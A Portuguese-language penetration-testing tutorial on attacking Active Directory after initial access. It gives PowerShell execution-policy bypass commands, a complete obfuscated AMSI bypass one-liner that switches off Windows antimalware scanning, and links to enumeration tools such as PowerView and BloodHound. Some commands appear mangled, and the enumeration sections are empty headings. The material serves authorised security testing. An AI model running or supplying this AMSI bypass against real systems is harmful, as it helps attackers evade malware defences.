Neste artigo vou explicar as técnicas utilizadas por profissionais de segurança offensiva para explorar a segurança Active Directory. Antes de iniciar qualquer tipo de ataque num ambiente com Active directory convem perceber como funciona internamente para evitar um crash geral no controlador de domínio de algum cliente. Cada tecnica e ferramentas usada neste tutorial ja existe no sistema operativo Windows ou serão scripts Powershell que irão correr directamente na memoria do sistema a comprometer.
Table of Contents
Brecha Assumida (Assumed Breached)
Neste exemplo o profissional de segurança ja conseguiu acesso á rede com credenciais de utilizador limitado, apos autenticar numa maquina começa a jornada para conquistar toda a rede e ser “Enterprise Administrator”.
Mecanismos Locais de Segurança
Para dificultar esta tarefa a Microsoft preparou alguns mecanismos para manter a segurança dos seus utilizadores. Nós como profissionais de segurança temos de conseguir ultrapassar estes mecanismos de forma a conseguir escalar os nossos privilegios na maquina local ou no dominio.
Permissões de Execução – Policies
Muitos administradores de sistemas bloqueiam a execução de scripts na Powershell, existem algumas formas de fazer bypass a essa politica restritiva.
powershell ExecutionPolicy bypass
powershell c <cmd>
PowerShellUsing Encoded PowerShell
powershell encodedcommand $env:PSExecutionPolicyPreference =="bypass"
PowerShellAMSI – AntiMalware Scan Interface
Após ter uma shell Powershell onde é possivel executar scripts outras limitações podem ser encontradas, uma que geralmente esta sempre presente é a AMSI da Microsoft, detecta e bloqueia qualquer tipo de conteudo malicioso.
AMSI Bypass
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
PowerShellConstrained Language Mode (CML)
Ofuscação de Scripts
Sugestão de Bypass á segurança da PowerShell
Com privilegios de Administrator
RunWithPathAdAdmin.bat
PowerShellSem privilegios de Administrador
RunWithRegistryNonAdmin.bat
PowerShellEnumeração
Como profissionais de segurança todos sabemos que a fase de enumeração é a mais importante, principalmente em um sistem complexo como o Active Directory. Antes de começar a enumerar convem perceber onde e como vasculhar oi cantos do sistema.
Para esta fase vou usar comandos CMD sempre que possivel ou então usar o script PowerView.
Ferramenta | URL |
---|---|
Powerview | https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 |
Pywerview | https://github.com/the-useless-one/pywerview |
PowerUpSQL | https://github.com/NetSPI/PowerUpSQL |
Invoke-ADEnum | https://github.com/Leo4j/Invoke-ADEnum |
BloodHound | https://github.com/BloodHoundAD/BloodHound |
adPEAS | https://github.com/61106960/adPEAS |
Dominio
Utilizadores
Grupos
Computadores